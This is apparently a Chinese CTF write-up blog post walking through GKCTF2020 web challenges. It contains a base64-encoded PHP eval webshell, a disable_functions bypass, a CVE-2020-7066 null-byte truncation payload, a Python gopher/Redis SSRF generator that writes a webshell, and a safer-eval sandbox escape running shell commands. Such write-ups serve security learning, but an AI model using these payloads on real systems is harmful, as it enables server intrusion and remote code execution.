• 刷题[GKCTF2020]


    [GKCTF2020]CheckIN

    解题思路

    打开直接是源码:

    <title>Check_In</title> 
    <?php  
    highlight_file(__FILE__); 
    class ClassName 
    { 
            public $code = null; 
            public $decode = null; 
            function __construct() 
            { 
                    $this->code = @$this->x()['Ginkgo']; 
                    $this->decode = @base64_decode( $this->code ); 
                    @Eval($this->decode); 
            } 
    
            public function x() 
            { 
                    return $_REQUEST; 
            } 
    } 
    new ClassName();
    

    直接是代码执行,没有过滤,只是base64编码了ginkgo传入的参数.那么我们直接蚁剑连接shell.

    eval($_POST["pass"]);

    ZXZhbCgkX1BPU1RbInBhc3MiXSk7

    正好与我前面的一篇博客相类似:

    看到根目录下有flag和readflag文件,同时flag文件为空,readflag文件为二进制执行文件。打开虚拟终端无权限使用/readflag


    php-gc-bypass

    poc地址

    pwn("/readflag");

    把poc放在/tmp目录中(一般都可写入文件),访问include("/tmp/123.php");,使用Ginkgo传参访问,即可获得flag

    知识点

    php_bypass_disable_functions

    [GKCTF2020]cve版签到

    解题思路

    有hint:cve-2020-7066,就是不知道是刚开始就有的,还是后面放出来的,如果不知道这个CVE可能会卡着。

    cve描述

    题目描述You just view *.ctfhub.com。结合cve可知,get_headers()函数存在漏洞,使用%00即可截断,上面网页中也有例子。"http://localhost.example.com";截断后,其实访问的是localhost.那么payload就很明显了直接构造

    http://11f22866-0e4a-4964-aefa-62d81d755716.node3.buuoj.cn/?url=http://localhost.ctfhub.com

    结尾只能是123

    知识点

    cve-2020-7066

    [GKCTF2020]老八小超市儿

    解题思路

    打开网页一看是cms,我的第一反应是直接网上寻找有没有现成的渗透思路

    直接搜索ShopXO v1.8.0漏洞

    渗透测试|shopxo后台全版本获取shell复现 跟着走一遍即可,挺简单的,应该没什么问题

    [GKCTF2020]EZ三剑客-EzWeb

    解题思路

    打开网页写了个提交按钮,看样子是跳转url,简单尝试下无果,127.0.0.1应该是在黑名单里了。查看源码,发现?secret,在框里提交,没用。再尝试在url上提交,发现给了IP地址。考虑内网渗透

    c段扫描,发现在173.136.207.11下开启服务。

    此时,使用burpsuite,扫描端口

    如果报错429说明访问太快,number of threads 设置小一点

    扫描发现开启6379端口,这里积累一下
    常见端口:6379端口(redis)或3306端口(mysql)

    ssrf常见的攻击方式可以用绝对路径写webshell,利用gopher协议打ssrf

    import urllib
    protocol="gopher://"
    ip="payload"
    port="payload"
    shell="
    
    <?php system("cat /flag");?>
    
    "
    filename="shell.php"
    path="/var/www/html"
    passwd=""
    cmd=["flushall",
    	 "set 1 {}".format(shell.replace(" ","${IFS}")),
    	 "config set dir {}".format(path),
    	 "config set dbfilename {}".format(filename),
    	 "save"
    	 ]
    if passwd:
    	cmd.insert(0,"AUTH {}".format(passwd))
    payload=protocol+ip+":"+port+"/_"
    def redis_format(arr):
    	CRLF="
    "
    	redis_arr = arr.split(" ")
    	cmd=""
    	cmd+="*"+str(len(redis_arr))
    	for x in redis_arr:
    		cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
    	cmd+=CRLF
    	return cmd
    
    if __name__=="__main__":
    	for x in cmd:
    		payload += urllib.quote(redis_format(x))
    	print payload
    

    这是构造redis命令的,并转化为redis RESP协议的poc,在ip和port处添加,运行在python2环境下

    将生成的payload打在框里

    访问173.136.207.11/shell.php,即可获得flag

    知识点

    • ssrf
    • redis配合gopher协议getshell

    博客

    这里有一篇总结的非常好的师傅博文,可以看看

    [GKCTF2020]EZ三剑客-EzNode

    解题思路

    看题目名字应该是node.js,进去是一个计算器。测试发现都是timeout,查看源码

    app.use((req, res, next) => {
      if (req.path === '/eval') {
        let delay = 60 * 1000;
        console.log(delay);
        if (Number.isInteger(parseInt(req.query.delay))) {
          delay = Math.max(delay, parseInt(req.query.delay));
        }
        const t = setTimeout(() => next(), delay);
        // 2020.1/WORKER3 老板说让我优化一下速度,我就直接这样写了,其他人写了啥关我p事
        setTimeout(() => {
          clearTimeout(t);
          console.log('timeout');
          try {
            res.send('Timeout!');
          } catch (e) {
    
          }
        }, 1000);
      } else {
        next();
      }
    });
    

    解释这段代码:

    调用express,写一个路由app.use。如果路径为eval,将delay赋值为60000,输出delay值。
    将delay返回成一个整数,并判断如果是整数则返回true。返回delay的最大值。
    如果执行的代码超过6s,才能执行/eval

    interger超过2147483647可以使int溢出


    绕过成功

    发现引用了一个库safer-eval,那我们先找下关于这个库的内容或漏洞。搜索发现CVE-2019-10759,safer-eval代码注入漏洞。需要safer-eval 1.3.2。查看版本发现safer-eval =1.3.6。不符合

    在github中又发现有sandbox escape,关于沙箱逃逸,原型链污染,我还不是特别懂,这个人说了One can break out of the sandbox with the following code in node:,那通过此poc可以逃逸出沙箱

    链接

    利用poc:

    const saferEval = require("./src/index");
    
    const theFunction = function () {
      const process = clearImmediate.constructor("return process;")();
      return process.mainModule.require("child_process").execSync("whoami").toString()
    };
    const untrusted = `(${theFunction})()`;
    
    console.log(saferEval(untrusted));
    

    即参数e的值等于process
    e=clearImmediate.constructor("return process;")().mainModule.require("child_process").execSync("cat /flag").toString()

    有师傅总结了相关内容,之后再学习:链接

    知识点

    沙箱逃逸

    [GKCTF2020]EZ三剑客-EzTypecho

    解题思路

    点开网页,看着是要装一个Typecho软件,先跟着来。默认设置安装报错,“不,你不想安装”,一开始以为是自己电脑配置问题,一度怀疑人生,后面搜索,正好发现一篇文章
    讲述install.php下,存在反序列化漏洞。跟着来,大同小异,跟着走,poc一打就差不多了

    总结

    本次比赛习题以已知的cve,软件,cms漏洞为主,主要是要会看师傅们的博客,搜索到相关的解题思路,exp,通过别人的exp学习。总结了搜索cve等漏洞的一些途径:国家信息安全漏洞共享平台,github,freebuf,https://bugs.php.net/
    有很多的比赛都不是出的新题,以已知的漏洞为基础,进行一些变更,所以多看相关文章才是王道

  • 相关阅读:
    at( ) & [ ]
    正则表达式 & 字符串匹配
    c++ 类 A类调用B类
    c++ 类 类指针&new对象
    重载赋值运算符
    拷贝构造函数 & 拷贝初始化
    链式表达式
    Indirect modification of overloaded element of cmfpaginatorBootstrap has no effect
    chmod(): Operation not permitted
    canvas
  • 原文地址:https://www.cnblogs.com/karsa/p/13069023.html
Copyright © 2020-2023  润新知